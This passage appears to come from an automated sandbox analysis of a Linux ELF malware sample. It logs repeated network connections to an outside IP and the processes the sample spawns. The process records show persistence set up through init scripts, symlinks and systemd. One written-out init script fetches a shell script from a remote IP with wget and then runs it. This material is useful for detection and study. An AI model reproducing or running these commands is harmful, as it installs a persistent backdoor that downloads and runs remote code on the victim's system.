                                                          Dec 24, 2024 04:31:33.473541975 CET382424466094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:33.473720074 CET4466038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:33.852256060 CET4466238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:33.971926928 CET382424466294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:33.972290039 CET4466238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:33.972290039 CET4466238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:34.131617069 CET382424466294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:34.478945017 CET4466238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:34.642869949 CET382424466294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:34.663650036 CET382424463694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:34.663747072 CET4463638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:35.128484011 CET382424466294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:35.128586054 CET4466238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:35.480356932 CET4466438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:35.599858046 CET382424466494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:35.599992990 CET4466438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:35.600075006 CET4466438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:35.719502926 CET382424466494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:36.105217934 CET4466438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:36.270884991 CET382424466494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:36.727942944 CET382424466494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:36.728271961 CET4466438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:37.106615067 CET4466638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:37.226120949 CET382424466694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:37.226244926 CET4466638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:37.226263046 CET4466638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:37.345899105 CET382424466694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:37.732289076 CET4466638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:37.894882917 CET382424466694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:38.343461990 CET382424466694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:38.343692064 CET4466638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:38.734164000 CET4466838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:38.853837967 CET382424466894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:38.854062080 CET4466838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:38.854159117 CET4466838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:38.973690987 CET382424466894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:39.359898090 CET4466838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:39.522891998 CET382424466894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:39.974212885 CET382424466894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:39.974318027 CET4466838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:40.361527920 CET4467038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:40.481041908 CET382424467094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:40.481161118 CET4467038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:40.481187105 CET4467038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:40.600775003 CET382424467094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:40.986203909 CET4467038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:41.146857977 CET382424467094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:41.603559017 CET382424467094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:41.603694916 CET4467038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:41.988018990 CET4467238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:42.198101997 CET382424467294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:42.198220015 CET4467238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:42.198287964 CET4467238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:42.317661047 CET382424467294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:42.320708990 CET382424467294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:43.402612925 CET4467438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:43.522275925 CET382424467494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:43.522403002 CET4467438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:43.522501945 CET4467438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:43.642097950 CET382424467494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:44.027880907 CET4467438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:44.194937944 CET382424467494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:44.646940947 CET382424467494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:44.647124052 CET4467438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:45.029920101 CET4467638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:45.149632931 CET382424467694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:45.149776936 CET4467638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:45.149830103 CET4467638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:45.269364119 CET382424467694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:45.655785084 CET4467638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:45.822864056 CET382424467694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:46.267851114 CET382424467694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:46.267976046 CET4467638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:46.657879114 CET4467838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:46.777488947 CET382424467894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:46.777755976 CET4467838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:46.777827978 CET4467838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:46.897351027 CET382424467894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:47.285171032 CET4467838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:47.446870089 CET382424467894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:47.903465986 CET382424467894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:47.903645992 CET4467838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:48.287252903 CET4468038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:48.407016993 CET382424468094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:48.407203913 CET4468038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:48.407260895 CET4468038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:48.528377056 CET382424468094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:48.913572073 CET4468038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:49.074968100 CET382424468094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:49.521459103 CET382424468094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:49.521749973 CET4468038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:49.915357113 CET4468238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:50.035401106 CET382424468294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:50.035586119 CET4468238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:50.035641909 CET4468238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:50.155175924 CET382424468294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:50.542236090 CET4468238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:50.702944040 CET382424468294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:51.165843964 CET382424468294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:51.166023016 CET4468238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:51.544049978 CET4468438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:51.663722038 CET382424468494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:51.663911104 CET4468438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:51.663933992 CET4468438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:51.783581018 CET382424468494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:52.170687914 CET4468438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:52.334912062 CET382424468494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:52.800295115 CET382424468494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:52.800529003 CET4468438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:53.172624111 CET4468638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:53.293580055 CET382424468694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:53.293684006 CET4468638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:53.293725014 CET4468638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:53.413283110 CET382424468694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:53.798852921 CET4468638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:53.962929010 CET382424468694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:54.416080952 CET382424468694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:54.416204929 CET4468638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:54.800185919 CET4468838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:54.919719934 CET382424468894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:54.919924021 CET4468838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:54.919924021 CET4468838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:55.039493084 CET382424468894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:55.425347090 CET4468838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:55.586915970 CET382424468894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:56.040296078 CET382424468894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:56.040498972 CET4468838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:56.427210093 CET4469038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:56.546801090 CET382424469094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:56.547017097 CET4469038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:56.547040939 CET4469038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:56.666651011 CET382424469094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:57.053404093 CET4469038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:57.214889050 CET382424469094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:57.668337107 CET382424469094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:57.668521881 CET4469038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:58.055489063 CET4469238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:58.175015926 CET382424469294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:58.175101995 CET4469238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:58.175154924 CET4469238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:58.294663906 CET382424469294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:58.682209015 CET4469238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:58.842914104 CET382424469294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:59.290335894 CET382424469294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:59.290570974 CET4469238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:59.684669018 CET4469438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:59.804291964 CET382424469494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:31:59.804619074 CET4469438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:59.804666996 CET4469438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:31:59.924164057 CET382424469494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:00.311134100 CET4469438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:00.470925093 CET382424469494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:00.928654909 CET382424469494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:00.928908110 CET4469438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:01.312740088 CET4469638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:01.432282925 CET382424469694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:01.432421923 CET4469638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:01.432487011 CET4469638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:01.551997900 CET382424469694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:01.939920902 CET4469638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:02.102891922 CET382424469694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:02.549303055 CET382424469694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:02.549448967 CET4469638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:02.941550016 CET4469838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:03.061050892 CET382424469894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:03.061163902 CET4469838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:03.061232090 CET4469838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:03.180809975 CET382424469894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:03.567035913 CET4469838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:03.726798058 CET382424469894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:04.188143015 CET382424469894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:04.188308954 CET4469838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:04.569262981 CET4470038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:04.689085007 CET382424470094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:32:04.689245939 CET4470038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:04.689299107 CET4470038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:32:04.808968067 CET382424470094.156.227.234192.168.2.13

                                                          System Behavior

                                                          General

                                                          Start time (UTC):03:29:58
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:/tmp/powerpc.nn.elf
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:58
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:58
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:sh -c "systemctl enable custom.service >/dev/null 2>&1"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:58
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:58
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/bin/systemctl
                                                          Arguments:systemctl enable custom.service
                                                          File size:996584 bytes
                                                          MD5 hash:4deddfb6741481f68aeac522cc26ff4b

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/bin/chmod
                                                          Arguments:chmod +x /etc/init.d/system
                                                          File size:63864 bytes
                                                          MD5 hash:739483b900c045ae1374d6f53a86a279

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/bin/ln
                                                          Arguments:ln -s /etc/init.d/system /etc/rcS.d/S99system
                                                          File size:76160 bytes
                                                          MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:sh -c "echo \"#!/bin/sh\n# /etc/init.d/powerpc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting powerpc.nn.elf'\n /tmp/powerpc.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping powerpc.nn.elf'\n killall powerpc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/powerpc.nn.elf"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:sh -c "chmod +x /etc/init.d/powerpc.nn.elf >/dev/null 2>&1"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/bin/chmod
                                                          Arguments:chmod +x /etc/init.d/powerpc.nn.elf
                                                          File size:63864 bytes
                                                          MD5 hash:739483b900c045ae1374d6f53a86a279

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/bin/mkdir
                                                          Arguments:mkdir -p /etc/rc.d
                                                          File size:88408 bytes
                                                          MD5 hash:088c9d1df5a28ed16c726eca15964cb7

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:sh -c "ln -s /etc/init.d/powerpc.nn.elf /etc/rc.d/S99powerpc.nn.elf >/dev/null 2>&1"
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/bin/sh
                                                          Arguments:-
                                                          File size:129816 bytes
                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/bin/ln
                                                          Arguments:ln -s /etc/init.d/powerpc.nn.elf /etc/rc.d/S99powerpc.nn.elf
                                                          File size:76160 bytes
                                                          MD5 hash:e933cf05571f62c0157d4e2dfcaea282

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/tmp/powerpc.nn.elf
                                                          Arguments:-
                                                          File size:5388968 bytes
                                                          MD5 hash:ae65271c943d3451b7f026d1fadccea6

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:58
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/lib/udisks2/udisksd
                                                          Arguments:-
                                                          File size:483056 bytes
                                                          MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:58
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/sbin/dumpe2fs
                                                          Arguments:dumpe2fs -h /dev/dm-0
                                                          File size:31112 bytes
                                                          MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/lib/systemd/systemd
                                                          Arguments:-
                                                          File size:1620224 bytes
                                                          MD5 hash:9b2bec7092a40488108543f9334aab75

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                          Arguments:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                          File size:22760 bytes
                                                          MD5 hash:3633b075f40283ec938a2a6a89671b0e

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/lib/udisks2/udisksd
                                                          Arguments:-
                                                          File size:483056 bytes
                                                          MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/sbin/dumpe2fs
                                                          Arguments:dumpe2fs -h /dev/dm-0
                                                          File size:31112 bytes
                                                          MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/lib/udisks2/udisksd
                                                          Arguments:-
                                                          File size:483056 bytes
                                                          MD5 hash:1d7ae439cc3d82fa6b127671ce037a24

                                                          Chronological Activities


                                                          General

                                                          Start time (UTC):03:29:59
                                                          Start date (UTC):24/12/2024
                                                          Path:/usr/sbin/dumpe2fs
                                                          Arguments:dumpe2fs -h /dev/dm-0
                                                          File size:31112 bytes
                                                          MD5 hash:5c66f7d8f7681a40562cf049ad4b72b4

                                                          Chronological Activities